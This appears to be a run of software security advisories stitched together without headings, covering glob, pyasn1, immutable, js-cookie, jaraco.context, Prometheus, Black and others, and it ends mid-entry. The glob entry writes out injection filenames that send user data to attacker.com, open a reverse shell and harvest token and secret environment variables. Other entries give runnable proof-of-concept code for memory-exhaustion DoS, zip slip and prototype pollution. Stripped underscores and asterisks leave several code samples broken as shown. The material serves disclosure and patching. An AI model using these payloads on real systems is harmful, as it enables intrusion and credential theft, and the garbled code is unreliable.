Summary
The glob CLI contains a command injection vulnerability in its -c/--cmd option that allows arbitrary command execution when processing files with malicious names. When glob -c <command> <patterns> is used, matched filenames are passed to a shell with shell: true, enabling shell metacharacters in filenames to trigger command injection and achieve arbitrary code execution under the user or CI account privileges.
Details
Root Cause: The vulnerability exists in src/bin.mts:277 where the CLI collects glob matches and executes the supplied command using foregroundChild() with shell: true:
javascript stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
Technical Flow: 1. User runs glob -c <command> <pattern> 2. CLI finds files matching the pattern 3. Matched filenames are collected into an array 4. Command is executed with matched filenames as arguments using shell: true 5. Shell interprets metacharacters in filenames as command syntax 6. Malicious filenames execute arbitrary commands
Affected Component: - CLI Only: The vulnerability affects only the command-line interface - Library Safe: The core glob library API (glob(), globSync(), streams/iterators) is not affected - Shell Dependency: Exploitation requires shell metacharacter support (primarily POSIX systems)
Attack Surface: - Files with names containing shell metacharacters: $(), backticks, ;, &, |, etc. - Any directory where attackers can control filenames (PR branches, archives, user uploads) - CI/CD pipelines using glob -c on untrusted content
PoC
Setup Malicious File: bash mkdir testdirectory && cd testdirectory
Create file with command injection payload in filename touch '$(touch injectedpoc)'
Trigger Vulnerability: bash Run glob CLI with -c option node /path/to/glob/dist/esm/bin.mjs -c echo "/"
Result: - The echo command executes normally - Additionally: The $(touch injectedpoc) in the filename is evaluated by the shell - A new file injectedpoc is created, proving command execution - Any command can be injected this way with full user privileges
Advanced Payload Examples:
Data Exfiltration: bash Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1) touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
Reverse Shell: bash Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1) touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
Environment Variable Harvesting: bash Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt) touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
Impact
Arbitrary Command Execution: - Commands execute with full privileges of the user running glob CLI - No privilege escalation required - runs as current user - Access to environment variables, file system, and network
Real-World Attack Scenarios:
1. CI/CD Pipeline Compromise: - Malicious PR adds files with crafted names to repository - CI pipeline uses glob -c to process files (linting, testing, deployment) - Commands execute in CI environment with build secrets and deployment credentials - Potential for supply chain compromise through artifact tampering
2. Developer Workstation Attack: - Developer clones repository or extracts archive containing malicious filenames - Local build scripts use glob -c for file processing - Developer machine compromise with access to SSH keys, tokens, local services
3. Automated Processing Systems: - Services using glob CLI to process uploaded files or external content - File uploads with malicious names trigger command execution - Server-side compromise with potential for lateral movement
4. Supply Chain Poisoning: - Malicious packages or themes include files with crafted names - Build processes using glob CLI automatically process these files - Wide distribution of compromise through package ecosystems
Platform-Specific Risks: - POSIX/Linux/macOS: High risk due to flexible filename characters and shell parsing - Windows: Lower risk due to filename restrictions, but vulnerability persists with PowerShell, Git Bash, WSL - Mixed Environments: CI systems often use Linux containers regardless of developer platform
Affected Products
- Ecosystem: npm - Package name: glob - Component: CLI only (src/bin.mts) - Affected versions: v10.2.0 through v11.0.3 (and likely later versions until patched) - Introduced: v10.2.0 (first release with CLI containing -c/--cmd option) - Patched versions: 11.1.0and 10.5.0
Scope Limitation: - Library API Not Affected: Core glob functions (glob(), globSync(), async iterators) are safe - CLI-Specific: Only the command-line interface with -c/--cmd option is vulnerable
Remediation
- Upgrade to glob@10.5.0, glob@11.1.0, or higher, as soon as possible. - If any glob CLI actions fail, then convert commands containing positional arguments, to use the --cmd-arg/-g option instead. - As a last resort, use --shell to maintain shell:true behavior until glob v12, but take care to ensure that no untrusted contents can possibly be encountered in the file path results.
Impact
There is a denial of service vulnerability in React Server Components.
React recommends updating immediately.
The vulnerability exists in versions 19.0.0, 19.0.1 19.1.0, 19.1.1, 19.1.2, 19.2.0 and 19.2.1 of:
- react-server-dom-webpack - react-server-dom-parcel - react-server-dom-turbopack
These issues are present in the patches published last week.
Patches
Fixes were back ported to versions 19.0.2, 19.1.3, and 19.2.2.
If you are using any of the above packages please upgrade to any of the fixed versions immediately.
If your app’s React code does not use a server, your app is not affected by this vulnerability. If your app does not use a framework, bundler, or bundler plugin that supports React Server Components, your app is not affected by this vulnerability.
References
See the blog post for more information and upgrade instructions.
Impact
Users who use Azure AD remote write with OAuth authentication are impacted.
The clientsecret field in the Azure AD remote write OAuth configuration (storage/remote/azuread) was typed as string instead of Secret. Prometheus redacts fields of type Secret when serving the configuration via the /-/config HTTP API endpoint. Because the field was a plain string, the Azure OAuth client secret was exposed in plaintext to any user or process with access to that endpoint.
Patches
The problem has been patched by changing ClientSecret in OAuthConfig to Secret. Users should upgrade to 3.11.3 or 3.5.3 LTS.
Workarounds
Users who can not upgrade can switch to Managed Identity or Workload Identity authentication for Azure AD remote write, which do not involve a client secret.
Impact
The remote read endpoint (/api/v1/read) does not validate the declared decoded length in a snappy-compressed request body before allocating memory. An unauthenticated attacker can send a small payload that causes a huge heap allocation per request. Under concurrent load this can exhaust available memory and crash the Prometheus process.
Patches Has the problem been patched? What versions should users upgrade to?
Fixed in 3.11.3 and 3.5.3 LTS. Users should upgrade to these versions or later.
Workarounds User who can not upgrade can place Prometheus behind a reverse proxy or firewall that requires authentication before requests reach /api/v1/read.
Impact Using either of the two parsers in the default configuration (with resolveentities=True) allows untrusted XML input to read local files.
Patches lxml 6.1.0 changes the default to resolveentities='internal', thus disallowing local file access by default.
Workarounds Setting the resolveentities option explicitly to resolveentities='internal' or resolveentities=False disables the local file access.
Resources Original report: https://bugs.launchpad.net/lxml/+bug/2146291
The default option was changed to resolveentities='internal' for the normal XML and HTML parsers in lxml 5.0. The default was not changed for iterparse() and ETCompatXMLParser() at the time. lxml 6.1 makes the safe option the default for all parsers.
spdystream is a Go library for multiplexing streams over SPDY connections. In versions 0.5.0 and below, the SPDY/3 frame parser does not validate attacker-controlled counts and lengths before allocating memory. Three allocation paths are affected: the SETTINGS frame entry count, the header count in parseHeaderValueBlock, and individual header field sizes — all read as 32-bit integers and used directly as allocation sizes with no bounds checking. Because SPDY header blocks are zlib-compressed, a small on-the-wire payload can decompress into large attacker-controlled values. A remote peer that can send SPDY frames to a service using spdystream can exhaust process memory and cause an out-of-memory crash with a single crafted control frame. This issue has been fixed in version 0.5.1.
Impact
A bad regular expression is generated any time you have multiple sequential optional groups (curly brace syntax), such as {a}{b}{c}:z. The generated regex grows exponentially with the number of groups, causing denial of service.
Patches
Fixed in version 8.4.0.
Workarounds
Limit the number of sequential optional groups in route patterns. Avoid passing user-controlled input as route patterns.
Summary
After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.
Details
The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496
PoC
For the DoS: py import pyasn1.codec.ber.decoder as decoder import pyasn1.type.univ as univ import sys import resource
Deliberately set memory limit to display PoC try: resource.setrlimit(resource.RLIMITAS, (10010241024, 10010241024)) print("[] Memory limit set to 100MB") except: print("[-] Could not set memory limit")
Test with different payload sizes to find the DoS threshold payloadsizemb = int(sys.argv[1])
print(f"[] Testing with {payloadsizemb}MB payload...")
payloadsize = payloadsizemb 1024 1024 Create payload with continuation octets Each 0x81 byte indicates continuation, causing bit shifting in decoder payload = b'\x81' payloadsize + b'\x00' length = len(payload)
DER length encoding (supports up to 4GB) if length < 128: lengthbytes = bytes([length]) elif length < 256: lengthbytes = b'\x81' + length.tobytes(1, 'big') elif length < 2562: lengthbytes = b'\x82' + length.tobytes(2, 'big') elif length < 2563: lengthbytes = b'\x83' + length.tobytes(3, 'big') else: # 4 bytes can handle up to 4GB lengthbytes = b'\x84' + length.tobytes(4, 'big')
Use OID (0x06) for more aggressive parsing maliciouspacket = b'\x06' + lengthbytes + payload
print(f"[] Packet size: {len(maliciouspacket) / 1024 / 1024:.1f} MB")
try: print("[] Decoding (this may take time or exhaust memory)...") result = decoder.decode(maliciouspacket, asn1Spec=univ.ObjectIdentifier())
print(f'[+] Decoded successfully') print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')
# Try to convert to string print('[] Converting to string...') try: strresult = str(result[0]) print(f'[+] String succeeded: {len(strresult)} chars') if len(strresult) > 10000: print(f'[!] MEMORY EXPLOSION: {len(strresult)} character string!') except MemoryError: print(f'[-] MemoryError during string conversion!') except Exception as e: print(f'[-] {type(e).name} during string conversion')
except MemoryError: print('[-] MemoryError: Out of memory!') except Exception as e: print(f'[-] Error: {type(e).name}: {e}')
print("\n[] Test completed")
Screenshots with the results:
DoS <img width="944" height="207" alt="Screenshot20251219160840" src="https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f" />
<img width="931" height="231" alt="Screenshot20251219152815" src="https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa" />
Leak analysis
A potential heap leak was investigated but came back clean: [] Creating 1000KB payload... [] Decoding with pyasn1... [] Materializing to string... [+] Decoded 2157784 characters [+] Binary representation: 896001 bytes [+] Dumped to heapdump.bin
[] First 64 bytes (hex): 01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081
[] First 64 bytes (ASCII/hex dump): 0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @.. 0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @.... 0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @..... 0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @.
[] Digit distribution analysis: '0': 10.1% '1': 9.9% '2': 10.0% '3': 9.9% '4': 9.9% '5': 10.0% '6': 10.0% '7': 10.0% '8': 9.9% '9': 10.1%
Scenario
1. An attacker creates a malicious X.509 certificate. 2. The application validates certificates. 3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.
Impact
This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.
Recommendation
Add a limit to the allowed bytes in the decoder.
multi-value baggage: header extraction parses each header field-value independently and aggregates members across values. this allows an attacker to amplify cpu and allocations by sending many baggage: header lines, even when each individual value is within the 8192-byte per-value parse limit.
severity
HIGH (availability / remote request amplification)
relevant links
- repository: https://github.com/open-telemetry/opentelemetry-go - pinned callsite: https://github.com/open-telemetry/opentelemetry-go/blob/1ee4a4126dbdd1bc79e9fae072fa488beffac52a/propagation/baggage.go#L58
vulnerability details
pins: open-telemetry/opentelemetry-go@1ee4a4126dbdd1bc79e9fae072fa488beffac52a as-of: 2026-02-04 policy: direct (no program scope provided)
callsite: propagation/baggage.go:58 (extractMultiBaggage) attacker control: inbound HTTP request headers (many baggage field-values) → propagation.HeaderCarrier.Values("baggage") → repeated baggage.Parse + member aggregation
root cause
extractMultiBaggage iterates over all baggage header field-values and parses each one independently, then appends members into a shared slice. the 8192-byte parsing cap applies per header value, but the multi-value path repeats that work once per header line (bounded only by the server/proxy header byte limit).
impact
in a default net/http configuration (max header bytes 1mb), a single request with many baggage: header field-values can cause large per-request allocations and increased latency.
example from the attached PoC harness (darwin/arm64; 80 values; 40 requests):
- canonical: perreqallocbytes=10315458 and p95ms=7 - control: perreqallocbytes=133429 and p95ms=0
proof of concept
canonical:
bash mkdir -p poc unzip poc.zip -d poc cd poc make test
output (excerpt):
[CALLSITEHIT]: propagation/baggage.go:58 extractMultiBaggage [PROOFMARKER]: baggagemultivalueamplification p95ms=7 perreqallocbytes=10315458 perreqallocs=16165
control:
bash cd poc make control
control output (excerpt):
[NCMARKER]: baggagesinglevaluebaseline p95ms=0 perreqallocbytes=133429 perreqallocs=480
expected: multiple baggage header field-values should be semantically equivalent to a single comma-joined baggage value and should not multiply parsing/alloc work within the effective header byte budget. actual: multiple baggage header field-values trigger repeated parsing and member aggregation, causing high per-request allocations and increased latency even when each individual value is within 8192 bytes.
fix recommendation
avoid repeated parsing across multi-values by enforcing a global budget and/or normalizing multi-values into a single value before parsing. one mitigation approach is to treat multi-values as a single comma-joined string and cap total parsed bytes (for example 8192 bytes total).
fix accepted when: under the default PoC harness settings, canonical stays within 2x of control for perreqallocbytes and perreqallocs, and p95ms stays below 2ms.
poc.zip PRDESCRIPTION.md
Calling Verify with a VerifyOptions.KeyUsages that contains ExtKeyUsageAny unintentionally disabledpolicy validation. This only affected certificate chains which contain policy graphs, which are rather uncommon.
Summary
A Path Traversal vulnerability exists when using non-default configuration options UPLOADDIR and UPLOADKEEPFILENAME=True. An attacker can write uploaded files to arbitrary locations on the filesystem by crafting a malicious filename.
Details
When UPLOADDIR is set and UPLOADKEEPFILENAME is True, the library constructs the file path using os.path.join(filedir, fname). Due to the behavior of os.path.join(), if the filename begins with a /, all preceding path components are discarded:
py os.path.join("/upload/dir", "/etc/malicious") == "/etc/malicious" This allows an attacker to bypass the intended upload directory and write files to arbitrary paths. Affected Configuration Projects are only affected if all of the following are true: - UPLOADDIR is set - UPLOADKEEPFILENAME is set to True - The uploaded file exceeds MAXMEMORYFILESIZE (triggering a flush to disk)
The default configuration is not vulnerable. Impact Arbitrary file write to attacker-controlled paths on the filesystem. Mitigation Upgrade to version 0.0.22, or avoid using UPLOADKEEPFILENAME=True in project configurations.
Impact What kind of vulnerability is it? Who is impacted?
A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.
Affected APIs
| API | Notes | | --------------------------------------- | ----------------------------------------------------------- | | mergeDeep(target, source) | Iterates source keys via ObjectSeq, assigns merged[key] | | mergeDeepWith(merger, target, source) | Same code path | | merge(target, source) | Shallow variant, same assignment logic | | Map.toJS() | object[k] = v in toObject() with no proto guard | | Map.toObject() | Same toObject() implementation | | Map.mergeDeep(source) | When source is converted to plain object |
Patches Has the problem been patched? What versions should users upgrade to?
| major version | patched version | | --- | --- | | 3.x | 3.8.3 | | 4.x | 4.3.7 | | 5.x | 5.1.5 |
Workarounds Is there a way for users to fix or remediate the vulnerability without upgrading?
- Validate user input - Node.js flag --disable-proto - Lock down built-in objects - Avoid lookups on the prototype - Create JavaScript objects with null prototype
Proof of Concept
PoC 1 — mergeDeep privilege escalation
javascript "use strict"; const { mergeDeep } = require("immutable"); // v5.1.4
// Simulates: app merges HTTP request body (JSON) into user profile const userProfile = { id: 1, name: "Alice", role: "user" }; const requestBody = JSON.parse( '{"name":"Eve","proto":{"role":"admin","admin":true}}', );
const merged = mergeDeep(userProfile, requestBody);
console.log("merged.name:", merged.name); // Eve (updated correctly) console.log("merged.role:", merged.role); // user (own property wins) console.log("merged.admin:", merged.admin); // true ← INJECTED via proto!
// Common security checks — both bypassed: const isAdminByFlag = (u) => u.admin === true; const isAdminByRole = (u) => u.role === "admin"; console.log("isAdminByFlag:", isAdminByFlag(merged)); // true ← BYPASSED! console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins)
// Stealthy: Object.keys() hides 'admin' console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role'] // But property lookup reveals it: console.log("merged.admin:", merged.admin); // true
PoC 2 — All affected APIs
javascript "use strict"; const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable");
const payload = JSON.parse('{"proto":{"admin":true,"role":"superadmin"}}');
// 1. mergeDeep const r1 = mergeDeep({ user: "alice" }, payload); console.log("mergeDeep admin:", r1.admin); // true
// 2. mergeDeepWith const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload); console.log("mergeDeepWith admin:", r2.admin); // true
// 3. merge const r3 = merge({ user: "alice" }, payload); console.log("merge admin:", r3.admin); // true
// 4. Map.toJS() with proto key const m = Map({ user: "alice" }).set("proto", { admin: true }); const r4 = m.toJS(); console.log("toJS admin:", r4.admin); // true
// 5. Map.toObject() with proto key const m2 = Map({ user: "alice" }).set("proto", { admin: true }); const r5 = m2.toObject(); console.log("toObject admin:", r5.admin); // true
// 6. Nested path const nested = JSON.parse('{"profile":{"proto":{"admin":true}}}'); const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested); console.log("nested admin:", r6.profile.admin); // true
// 7. Confirm NOT global console.log("({}).admin:", {}.admin); // undefined (global safe)
Verified output against immutable@5.1.4:
mergeDeep admin: true mergeDeepWith admin: true merge admin: true toJS admin: true toObject admin: true nested admin: true ({}).admin: undefined ← global Object.prototype NOT polluted
References Are there any links users can visit to find out more?
- JavaScript prototype pollution
Summary
js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "proto" member is an own enumerable property, so the for…in enumerates it and the target[key] = source[key] write triggers the Object.prototype.proto setter on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys.
Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down.
Impact
Any application that forwards a JSON-derived object as the attributes argument to Cookies.set, Cookies.remove, Cookies.withAttributes, or Cookies.withConverter is vulnerable. This is the standard pattern when cookie configuration comes from a backend:
js const cfg = await fetch('/config').then(r => r.json()); Cookies.set('session', token, cfg.cookieAttrs); // cfg.cookieAttrs influenced by attacker
A payload of {"proto":{"domain":"evil.example","secure":"false","samesite":"None"}} causes js-cookie to emit:
Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None
Affected code
js // src/assign.mjs — full file export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] for (var key in source) { // includes own enumerable 'proto' target[key] = source[key] // [[Set]] form - fires proto setter } } return target } Proof of concept
Node 22.11.0, no third-party deps:
Environment setup bash mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc npm init -y npm i js-cookie
PoC js ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs let lastSetCookie = ''; globalThis.document = { get cookie() { return ''; }, set cookie(v) { lastSetCookie = v; } };
const { default: Cookies } = await import('js-cookie');
const attackerAttrs = JSON.parse( '{"proto":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}' );
Cookies.set('session', 'TOKEN', attackerAttrs);
console.log('Set-Cookie that js-cookie wrote to document.cookie:'); console.log(lastSetCookie);
Execution: <img width="2614" height="1174" alt="cls-2026-05-14-01 44 39" src="https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62" />
Suggested patch
diff --- a/src/assign.mjs +++ b/src/assign.mjs @@ export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] - for (var key in source) { - target[key] = source[key] - } + for (var key in source) { + if (key === 'proto' || key === 'constructor' || key === 'prototype') continue + Object.defineProperty(target, key, { + value: source[key], + writable: true, + enumerable: true, + configurable: true, + }) + } } return target }
Equivalent one-liner alternative - iterate own names only and filter:
js for (const key of Object.getOwnPropertyNames(source)) { if (key === 'proto') continue target[key] = source[key] }
Summary There is a Zip Slip path traversal vulnerability in the jaraco.context package affecting setuptools as well, in jaraco.context.tarball() function. The vulnerability may allow attackers to extract files outside the intended extraction directory when malicious tar archives are processed. The stripfirstcomponent filter splits the path on the first / and extracts the second component, while allowing ../ sequences. Paths like dummydir/../../etc/passwd become ../../etc/passwd. Note that this suffers from a nested tarball attack as well with multi-level tar files such as dummydir/inner.tar.gz, where the inner.tar.gz includes a traversal dummydir/../../config/.env that also gets translated to ../../config/.env.
The code can be found: - https://github.com/jaraco/jaraco.context/blob/main/jaraco/context/init.py#L74-L91 - https://github.com/pypa/setuptools/blob/main/setuptools/vendor/jaraco/context.py#L55-L76 (inherited)
This report was also sent to setuptools maintainers and they asked some questions regarding this.
The lengthy answer is:
The vulnerability seems to be the stripfirstcomponent filter function, not the tarball function itself and has the same behavior on any tested Python version locally (from 11 to 14, as I noticed that there is a backports conditional for the tarball). The stock tarball for Python 3.12+ is considered not vulnerable (until proven otherwise 😄) but here the custom filter seems to overwrite the native filtering and introduces the issue - while overwriting the updated secure Python 3.12+ behavior and giving a false sense of sanitization.
The short answer is:
If we are talking about Python < 3.12 the tarball and jaraco implementations / behaviors are relatively the same but for Python 3.12+ the jaraco implementation overwrites the native tarball protection.
Sampled tests: <img width="1634" height="245" alt="image" src="https://github.com/user-attachments/assets/ce6c0de6-bb53-4c2b-818a-d77e28d2fbeb" />
Details
The flow with setuptools in the mix: setuptools.vendor.jaraco.context.tarball() > req = urlopen(url) > with tarfile.open(fileobj=req, mode='r|') as tf: > tf.extractall(path=targetdir, filter=stripfirstcomponent) > stripfirstcomponent (Vulnerable)
PoC
This was tested on multiple Python versions > 11 on a Debian GNU 12 (bookworm). You can run this directly after having all the dependencies: py #!/usr/bin/env python3 import tarfile import io import os import sys import shutil import tempfile from setuptools.vendor.jaraco.context import stripfirstcomponent
def createmalicioustarball(): tardata = io.BytesIO() with tarfile.open(fileobj=tardata, mode='w') as tar: # Create a malicious file path with traversal sequences maliciousfiles = [ # Attempt 1: Simple traversal to /tmp { 'path': 'dummydir/../../tmp/pwnedbyzipslip.txt', 'content': b'[ZIPSLIP] File written to /tmp via path traversal!', 'name': 'pwnedviatmp' }, # Attempt 2: Try to write to home directory { 'path': 'dummydir/../../../../home/pwnedhome.txt', 'content': b'[ZIPSLIP] Attempted write to home directory', 'name': 'pwnedviahome' }, # Attempt 3: Try to write to current directory parent { 'path': 'dummydir/../escaped.txt', 'content': b'[ZIPSLIP] File in parent directory!', 'name': 'pwnedescaped' }, # Attempt 4: Legitimate file for comparison { 'path': 'dummydir/legitimatefile.txt', 'content': b'This file stays in target directory', 'name': 'legitimate' } ] for fileinfo in maliciousfiles: content = fileinfo['content'] tarinfo = tarfile.TarInfo(name=fileinfo['path']) tarinfo.size = len(content) tar.addfile(tarinfo, io.BytesIO(content))
tardata.seek(0) return tardata
def exploitzipslip(): print("[] Target: setuptools.vendor.jaraco.context.tarball()")
# Create temporary directory for extraction tempbase = tempfile.mkdtemp(prefix="zipsliptest") targetdir = os.path.join(tempbase, "extractiontarget")
try: os.mkdir(targetdir) print(f"[+] Created target extraction directory: {targetdir}")
# Create malicious tarball print("[] Creating malicious tar archive...") tardata = createmalicioustarball()
try: with tarfile.open(fileobj=tardata, mode='r') as tf: for member in tf: # Apply the ACTUAL vulnerable function from setuptools processedmember = stripfirstcomponent(member, targetdir) print(f"[] Extracting: {member.name:40} -> {processedmember.name}") # Extract to target directory try: tf.extract(processedmember, path=targetdir) print(f" ✓ Extracted successfully") except (PermissionError, FileNotFoundError) as e: print(f" ! {type(e).name}: Path traversal ATTEMPTED") except Exception as e: print(f"[!] Extraction raised exception: {type(e).name}: {e}") # Check results print("[] Checking for extracted files...")
# Check target directory print(f"[] Files in target directory ({targetdir}):") if os.path.exists(targetdir): for root, , files in os.walk(targetdir): level = root.replace(targetdir, '').count(os.sep) indent = ' ' 2 level print(f"{indent}{os.path.basename(root)}/") subindent = ' ' 2 (level + 1) for file in files: filepath = os.path.join(root, file) try: with open(filepath, 'r') as f: content = f.read()[:50] print(f"{subindent}{file}") print(f"{subindent} └─ {content}...") except: print(f"{subindent}{file} (binary)") else: print(f"[!] Target directory not found!") print() print("[] Checking for traversal attempts...") print()
# Check if files escaped traversalattempts = [ ("/tmp/pwnedbyzipslip.txt", "Escape to /tmp"), (os.path.expanduser("~/pwnedhome.txt"), "Escape to home"), (os.path.join(tempbase, "escaped.txt"), "Escape to parent"), ]
escaped = False for checkpath, description in traversalattempts: if os.path.exists(checkpath): print(f"[+] Path Traversal Confirmed: {description}") print(f" File created at: {checkpath}") try: with open(checkpath, 'r') as f: content = f.read() print(f" Content: {content}") print(f" Removing: {checkpath}") os.remove(checkpath) except Exception as e: print(f" Error reading: {e}") escaped = True else: print(f"[-] OK: {description} - No escape detected")
if escaped: print("[+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed!") else: print("[-] No path traversal detected (mitigation in place)")
finally: # Cleanup print() print(f"[] Cleaning up: {tempbase}") try: shutil.rmtree(tempbase) except Exception as e: print(f"[!] Cleanup error: {e}")
def checkpythonversion(): print(f"[+] Python version: {sys.version}") # Python 3.11.4+ added DEFAULTFILTER if hasattr(tarfile, 'DEFAULTFILTER'): print("[+] Python has DEFAULTFILTER (tarfile security hardening)") else: print("[!] Python does not have DEFAULTFILTER (older version)") print()
if name == "main": checkpythonversion() exploitzipslip()
Output: [+] Python version: 3.11.2 (main, Apr 28 2025, 14:11:48) [GCC 12.2.0] [!] Python does not have DEFAULTFILTER (older version)
[] Target: setuptools.vendor.jaraco.context.tarball() [+] Created target extraction directory: /tmp/zipsliptesttnu3qpd5/extractiontarget [] Creating malicious tar archive... [] Extracting: ../../tmp/pwnedbyzipslip.txt -> ../../tmp/pwnedbyzipslip.txt ✓ Extracted successfully [] Extracting: ../../../../home/pwnedhome.txt -> ../../../../home/pwnedhome.txt ! PermissionError: Path traversal ATTEMPTED [] Extracting: ../escaped.txt -> ../escaped.txt ✓ Extracted successfully [] Extracting: legitimatefile.txt -> legitimatefile.txt ✓ Extracted successfully [] Checking for extracted files... [] Files in target directory (/tmp/zipsliptesttnu3qpd5/extractiontarget): extractiontarget/ legitimatefile.txt └─ This file stays in target directory...
[] Checking for traversal attempts...
[-] OK: Escape to /tmp - No escape detected [-] OK: Escape to home - No escape detected [+] Path Traversal Confirmed: Escape to parent File created at: /tmp/zipsliptesttnu3qpd5/escaped.txt Content: [ZIPSLIP] File in parent directory! Removing: /tmp/zipsliptesttnu3qpd5/escaped.txt [+] EXPLOIT SUCCESSFUL - Path traversal vulnerability confirmed!
[] Cleaning up: /tmp/zipsliptesttnu3qpd5
Impact
- Arbitrary file creation in filesystem (HIGH exploitability) - especially if popular packages download tar files remotely and use this package to extract files. - Privesc (LOW exploitability) - Supply-Chain attack (VARIABLE exploitability) - relevant to the first point.
Remediation
I guess removing the custom filter is not feasible given the backward compatibility issues that might come up you can use a safer filter stripfirstcomponent that skips or sanitizes ../ character sequences since it is already there eg. if member.name.startswith('/') or '..' in member.name: raise ValueError(f"Attempted path traversal detected: {member.name}")
React Router is a router for React. In versions 7.0.0 through 7.14.1, when using Framework Mode, a combination of steps could potentially allow unauthorized remote code execution (RCE) through external requests. This attack requires the application code to have an existing prototype pollution vulnerability, which can then be leveraged in a 2-step attack where the second step triggers unauthorized RCE on the remote server. This does not impact applications using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>). This is patched in version 7.14.2.
axios 1.7.2 allows SSRF via unexpected behavior where requests for path relative URLs get processed as protocol relative URLs.
Impact
body-parser <1.20.3 is vulnerable to denial of service when url encoding is enabled. A malicious actor using a specially crafted payload could flood the server with a large number of requests, resulting in denial of service.
Patches
this issue is patched in 1.20.3
References
The orjson.dumps function in orjson thru 3.11.4 does not limit recursion for deeply nested JSON documents.
Impact
The default configuration of startStandaloneServer from @apollo/server/standalone is vulnerable to Denial of Service (DoS) attacks through specially crafted request bodies with exotic character set encodings.
This issue does not affect users that use @apollo/server as a dependency for integration packages, like @as integrations/express5 or @as-integrations/next, only direct usage of startStandaloneServer.
Who is impacted
Users directly using startStandaloneServer from @apollo/server/standalone.
This issue affects Apollo Server from v5.0.0 through v5.3.x.
It also affects all releases of the end-of-life major versions v4, v3, and v2. Although Apollo Server v4 is EOL and Apollo no longer commits to providing support or updates for it, a fix for it was released in v4.13.0. Apollo Server v3 and v2 are no longer updated, as they have been EOL since 2024 and 2023 respectively.
Patches
Patches for this issue are released as @apollo/server versions 5.4.0 and 4.13.0.
In accordance with RFC 7159, these versions now only accept request bodies encoded in UTF-8, UTF-16 (LE or BE), or UTF-32 (LE or BE). Any other character set will be rejected with a 415 Unsupported Media Type error. Note that the more recent JSON RFC, [RFC 8259 (https://datatracker.ietf.org/doc/html/rfc8259#section-8.1), is more strict and will only allow UTF-8. Since this is a minor release, we have chosen to remain compatible with the more permissive RFC 7159 for now. In a future major release, the restriction may be tightened further to only allow UTF-8.
Workarounds
Users of apollo-server v2 or v3 that cannot upgrade for some reason could switch from the standalone apollo-server package to an integration package like apollo-server-express or apollo-server-koa and set up their own server. Please note that these old packages are generally EOL and do not receive any more support or bug fixes. This can only be seen as a short-term workaround. Updating to @apollo/server v5 should be a priority.
Impact
A vulnerability in Multer versions < 2.1.1 allows an attacker to trigger a Denial of Service (DoS) by sending malformed requests, potentially causing stack overflow.
Patches
Users should upgrade to 2.1.1
Workarounds
None
Resources
- https://github.com/expressjs/multer/security/advisories/GHSA-5528-5vmv-3xc2 - https://www.cve.org/CVERecord?id=CVE-2026-3520 - https://github.com/expressjs/multer/commit/7e66481f8b2e6c54b982b34c152479e096ce2752 - https://cna.openjsf.org/security-advisories.html
Impact
Black provides a GitHub action for formatting code. This action supports an option, usepyproject: true, for reading the version of Black to use from the repository pyproject.toml. A malicious pull request could edit pyproject.toml to use a direct URL reference to a malicious repository. This could lead to arbitrary code execution in the context of the GitHub Action. Attackers could then gain access to secrets or permissions available in the context of the action.
Patches
Version 26.3.0 fixes this vulnerability by tightening the validation of the version field. Users who use the GitHub Action as psf/black@stable will automatically pick up this update.
Workarounds
Do not use the usepyproject: true option in the psf/black GitHub Action.
Impact
Black writes a cache file, the name of which is computed from various formatting options. The value of the --python-cell-magics option was placed in the filename without sanitization, which allowed an attacker who controls the value of this argument to write cache files to arbitrary file system locations.
Patches
Fixed in Black 26.3.1.
Workarounds
Do not allow untrusted user input into the value of the --python-cell-magics option.
Versions
- effect: 3.19.15 - @effect/rpc: 0.72.1 - @effect/platform: 0.94.2 - Node.js: v22.20.0 - Vercel runtime with Fluid compute - Next.js: 16 (App Router) - @clerk/nextjs: 6.x
Root cause
